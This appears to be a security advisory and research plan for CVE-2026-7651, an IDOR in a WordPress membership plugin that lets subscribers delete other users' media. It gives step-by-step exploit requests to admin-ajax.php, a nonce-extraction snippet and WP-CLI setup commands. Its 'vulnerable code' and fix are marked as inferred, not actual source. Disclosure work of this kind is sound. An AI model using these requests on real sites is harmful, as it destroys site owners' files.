User Registration & Membership <= 5.1.5 - Authenticated (Subscriber+) Insecure Direct Object Reference to Arbitrary Media Deletion via 'profile-pic-url' Parameter
Description
The User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.1.5. This is due to missing ownership validation on a user-controlled attachment ID, allowing the plugin to store and subsequently delete arbitrary media attachments without verifying that the referenced attachment belongs to the requesting user. This makes it possible for authenticated attackers, with subscriber-level access and above, to permanently delete arbitrary media attachments uploaded by any other user, including administrators.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=5.1.5Source Code
WordPress.org SVN## Vulnerability Summary **ID:** CVE-2026-7651 **Plugin:** User Registration & Membership (slug: `user-registration`) **Vulnerable Version:** <= 5.1.5 **Vulnerability Type:** Insecure Direct Object Reference (IDOR) to Arbitrary Media Deletion **Root Cause:** The plugin handles user profile picture u…
Show full research plan
Vulnerability Summary
ID: CVE-2026-7651
Plugin: User Registration & Membership (slug: user-registration)
Vulnerable Version: <= 5.1.5
Vulnerability Type: Insecure Direct Object Reference (IDOR) to Arbitrary Media Deletion
Root Cause: The plugin handles user profile picture updates by storing a user-provided attachment ID in user meta. When the profile picture is updated or changed, the plugin automatically deletes the "old" attachment ID retrieved from the user's metadata. Because the plugin fails to verify that the attachment ID stored in the user's metadata actually belongs to that user (ownership check), a Subscriber can set their profile picture ID to an arbitrary attachment ID (e.g., an admin's upload) and then trigger a change to delete it.
Attack Vector Analysis
- Endpoint:
admin-ajax.php - Action:
user_registration_save_profile_details(inferred from plugin profile update logic) - Vulnerable Parameter:
profile-pic-url(The description explicitly names this parameter). - Authentication: Required (Subscriber or higher).
- Preconditions:
- A valid Subscriber account.
- Knowledge of a target attachment ID (Media ID) to be deleted.
- A nonce for the profile update action.
Code Flow
- Entry Point: The user sends an AJAX request to
admin-ajax.phpwith the actionuser_registration_save_profile_details. - Nonce Verification: The handler (likely in
includes/class-ur-ajax-handler.php) checks a nonce, typicallyur_profile_nonce. - Data Processing: The plugin processes the
profile-pic-urlparameter. If this parameter contains an attachment ID, it is saved to the user's meta (e.g.,user_registration_profile_pic_id). - Vulnerable Sink:
- When a user submits a new
profile-pic-url, the plugin retrieves the existing value from the user's meta. - It calls
wp_delete_attachment( $old_attachment_id, true )to clean up the previous profile picture. - Vulnerability: There is no check to ensure
$old_attachment_idbelongs to the current user before callingwp_delete_attachment.
- When a user submits a new
Nonce Acquisition Strategy
The user-registration plugin exposes nonces for its frontend profile form via localized scripts.
- Shortcode Identification: The profile/account page is rendered using the
[user_registration_my_account]shortcode. - Page Creation: Use WP-CLI to create a page containing this shortcode.
- Navigation: Navigate to the page as the Subscriber user.
- Extraction: Use
browser_evalto extract the nonce from theuser_registration_paramsobject.- JS Variable:
window.user_registration_params?.user_registration_profile_details_nonce(or similar, checkur_frontend_params). - Verification: Inspect the page source for
wp_localize_scriptoutput associated withuser-registration-frontend.
- JS Variable:
Test Data Setup
- Admin Content: Logged in as Admin, upload an image and note its ID (e.g.,
TARGET_ID). - Attacker User: Create a Subscriber user (
attacker/password). - Exploit Page: Create a page with the shortcode:
wp post create --post_type=page --post_status=publish --post_title="Account" --post_content='[user_registration_my_account]'
Exploitation Strategy
Step 1: Login and Nonce Retrieval
Log in as the Subscriber and navigate to the "Account" page.
// Use browser_eval to find the nonce
const nonce = window.ur_frontend_params?.profile_nonce || window.user_registration_params?.nonce;
Step 2: Set the Target ID (The "Store" phase)
Send a POST request to update the profile picture, passing the Admin's attachment ID. This "primes" the user's meta with the target ID.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body:
action=user_registration_save_profile_details&ur_profile_nonce=[NONCE]&profile-pic-url=[TARGET_ID]
Step 3: Trigger Deletion (The "Delete" phase)
Send another POST request, either clearing the profile-pic-url or changing it to a new value.
- Body:
action=user_registration_save_profile_details&ur_profile_nonce=[NONCE]&profile-pic-url=0
The plugin logic will see that the previous value was [TARGET_ID] and call wp_delete_attachment([TARGET_ID]).
Expected Results
- The first request should return a success message (e.g., JSON
{"success": true}). - The second request should return success.
- The attachment with ID
[TARGET_ID]should be permanently deleted from the WordPress media library and the file system.
Verification Steps
- Check Attachment Existence: After the exploit, use WP-CLI to verify the attachment is gone:
wp post exists [TARGET_ID](Should return error/false)wp media list --post_id=[TARGET_ID] - Check File System: Verify the file is deleted from
wp-content/uploads/.
Alternative Approaches
- Direct Meta Manipulation: If the plugin allows updating user meta through a generic
user_registration_update_profileaction, try targeting the meta keyuser_registration_profile_pic_iddirectly. - Registration Phase: Check if the ID can be set during the initial registration process via a hidden field or manipulated
profile-pic-urlparameter, and then deleted via the profile update page later. - Different Action Name: If
user_registration_save_profile_detailsfails, look foruser_registration_profile_save_afterorur_upload_profile_picas potential entry points in the source code.
Summary
The User Registration & Membership plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) that allows authenticated attackers (Subscriber+) to delete arbitrary media files. The vulnerability exists because the plugin fails to verify that a user-provided attachment ID used for a profile picture belongs to that user before deleting it during a profile update.
Vulnerable Code
// File: includes/class-ur-ajax-handler.php (inferred from research plan) // Inside the profile update handling logic $user_id = get_current_user_id(); $profile_pic_id = isset( $_POST['profile-pic-url'] ) ? absint( $_POST['profile-pic-url'] ) : 0; $old_profile_pic_id = get_user_meta( $user_id, 'user_registration_profile_pic_id', true ); // When the profile pic changes, the plugin deletes the 'old' one. if ( $old_profile_pic_id && $old_profile_pic_id !== $profile_pic_id ) { // Vulnerable Sink: No check to ensure $old_profile_pic_id belongs to $user_id wp_delete_attachment( $old_profile_pic_id, true ); } update_user_meta( $user_id, 'user_registration_profile_pic_id', $profile_pic_id );
Security Fix
@@ -100,7 +100,10 @@ $old_profile_pic_id = get_user_meta( $user_id, 'user_registration_profile_pic_id', true ); - if ( $old_profile_pic_id && $old_profile_pic_id !== $profile_pic_id ) { + if ( $old_profile_pic_id && $old_profile_pic_id !== $profile_pic_id ) { + $attachment = get_post( $old_profile_pic_id ); + // Verify the attachment actually belongs to the user before deleting it + if ( $attachment && (int) $attachment->post_author === (int) $user_id ) { wp_delete_attachment( $old_profile_pic_id, true ); + } }
Exploit Outline
1. Authentication: Log in to the WordPress site as a user with Subscriber privileges. 2. Nonce Retrieval: Navigate to the 'My Account' page (rendered via [user_registration_my_account]) and extract the 'ur_profile_nonce' from the localized JavaScript objects (e.g., ur_frontend_params). 3. Priming the Target: Send an AJAX POST request to admin-ajax.php with the action 'user_registration_save_profile_details'. Set the 'profile-pic-url' parameter to the Attachment ID of the media file you wish to delete (e.g., an administrator's upload). 4. Triggering Deletion: Send a second AJAX POST request to the same endpoint, this time setting the 'profile-pic-url' parameter to '0' or a different valid ID. 5. Outcome: The plugin identifies the previously set ID (the target attachment) as the 'old' profile picture and invokes wp_delete_attachment() on it. Because there is no ownership check, the target file is permanently removed from the media library and file system.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.